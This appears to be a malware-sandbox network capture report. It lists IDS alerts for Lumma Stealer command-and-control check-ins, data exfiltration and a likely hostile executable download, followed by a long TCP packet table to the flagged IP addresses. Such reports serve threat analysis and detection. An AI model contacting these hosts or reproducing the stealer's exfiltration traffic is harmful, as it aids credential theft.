2024-10-27T20:15:14.128011+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.95.91	443	TCP
2024-10-27T20:15:14.128011+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.95.91	443	TCP
2024-10-27T20:15:15.619360+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.95.91	443	TCP
2024-10-27T20:15:15.619360+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.95.91	443	TCP
2024-10-27T20:15:22.187226+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.95.91	443	TCP
2024-10-27T20:15:26.456891+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49712	104.21.95.91	443	TCP
2024-10-27T20:15:27.366662+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49719	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 20:15:12.763144970 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:12.763180971 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:12.763284922 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:12.764390945 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:12.764404058 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:13.401690960 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:13.401830912 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:13.411533117 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:13.411550045 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:13.412458897 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:13.453665972 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:13.467911959 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:13.467936993 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:13.468151093 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:14.128102064 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:14.128360033 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:14.128451109 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:14.220963001 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:14.220993042 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:14.221057892 CET	49704	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:14.221065998 CET	443	49704	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:14.483418941 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:14.483510017 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:14.483603954 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:14.483975887 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:14.484013081 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.101897955 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.102010965 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.103204012 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.103229046 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.103697062 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.105299950 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.105340958 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.105442047 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.619420052 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.619568110 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.619654894 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.619683027 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.619710922 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.619770050 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.619802952 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.619961023 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.620029926 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.620055914 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.620140076 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.620198011 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.620213985 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.624835968 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.624953032 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.624968052 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.672445059 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.737848997 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.738070965 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.738143921 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.738163948 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.738431931 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.738492966 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.738538027 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.738571882 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.738598108 CET	49705	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.738611937 CET	443	49705	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.868935108 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.868966103 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:15.869067907 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.869457960 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:15.869473934 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:16.496917009 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:16.497054100 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:16.504157066 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:16.504174948 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:16.504951954 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:16.506530046 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:16.506680965 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:16.506773949 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:17.057665110 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:17.057949066 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:17.058105946 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:17.058998108 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:17.059021950 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:17.532344103 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:17.532437086 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:17.532541990 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:17.532799006 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:17.532835007 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.325452089 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.325618029 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:18.327357054 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:18.327384949 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.328288078 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.330029964 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:18.330226898 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:18.330265999 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.330374002 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:18.330387115 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.906754017 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.907035112 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:18.907054901 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:18.907124043 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.181605101 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.181655884 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:19.181751966 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.182220936 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.182240963 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:19.794588089 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:19.794791937 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.796628952 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.796643972 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:19.797425985 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:19.799330950 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.799484968 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.799638987 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:19.799740076 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:19.799751043 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:20.517244101 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:20.517357111 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:20.517424107 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:20.517582893 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:20.517607927 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:21.063488007 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:21.063570023 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:21.063661098 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:21.064258099 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:21.064291954 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:21.682348967 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:21.682511091 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:21.683722973 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:21.683753014 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:21.684108019 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:21.685230970 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:21.685323954 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:21.685337067 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:22.187277079 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:22.187551975 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:22.187653065 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:22.187737942 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:22.187778950 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:22.711718082 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:22.711760998 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:22.711834908 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:22.712264061 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:22.712284088 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.341084003 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.341269970 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.343122005 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.343153954 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.343501091 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.357553005 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.358289003 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.358354092 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.358479023 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.358537912 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.358658075 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.358910084 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.359030962 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.359052896 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.359206915 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.359225988 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.359395027 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.359421015 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.359451056 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.359626055 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.359652996 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.360099077 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.360260010 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.360305071 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.360321045 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.360373974 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.360527039 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.360559940 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.360585928 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.370182991 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:23.370286942 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:23.370311975 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.299264908 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.299530029 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.299551964 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.299612999 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.340044975 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.340106964 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.340189934 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.340573072 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.340589046 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.962017059 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.962125063 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.963747025 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.963762045 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.964859962 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:25.966504097 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.966532946 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:25.966665983 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:26.456964970 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:26.457210064 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:26.457334042 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:26.457406044 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:26.457423925 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:26.457494020 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 20:15:26.457499981 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 20:15:26.459131002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:26.464554071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:26.464631081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:26.464716911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:26.470339060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366563082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366597891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366612911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366628885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366651058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366664886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366662025 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.366688967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366705894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366720915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366736889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.366738081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.366738081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.366770029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.366785049 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.372014999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.372064114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.372078896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.372093916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.372117996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.372150898 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.523885965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.523909092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.523941040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.523957968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.523974895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524000883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524014950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524013042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.524013042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.524032116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524046898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524063110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.524064064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524072886 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.524081945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524096012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524110079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524111032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.524128914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.524135113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.524178028 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.527568102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.527582884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.527688026 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.638758898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.638792992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.638809919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.638825893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.638842106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.638847113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.638858080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.638907909 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.638926029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.639077902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.639125109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.639139891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.639178038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.639194012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.639240980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.639609098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.639957905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.640008926 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.643503904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.676167011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.676183939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.676232100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.719340086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.755705118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.755723953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.755742073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.755754948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.755765915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.755781889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.755785942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.755794048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.755850077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.755863905 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.756479979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.756491899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.756504059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.756526947 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.756557941 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.756834984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.756846905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.756856918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.756899118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.760538101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.760555983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.760576010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.793103933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.793144941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.793164015 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.844299078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.872833014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.872859001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.872869968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.872880936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.872894049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.872905970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.872926950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.872991085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.873189926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.873200893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.873210907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.873241901 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.873586893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.873599052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.873610020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.873632908 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.873670101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.877449036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.877469063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.877516985 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.877796888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.877814054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.877865076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.910079002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.910094976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.910183907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.990664005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.990711927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.990722895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.990780115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.990780115 CET	49719	80	192.168.2.5	185.215.113.16
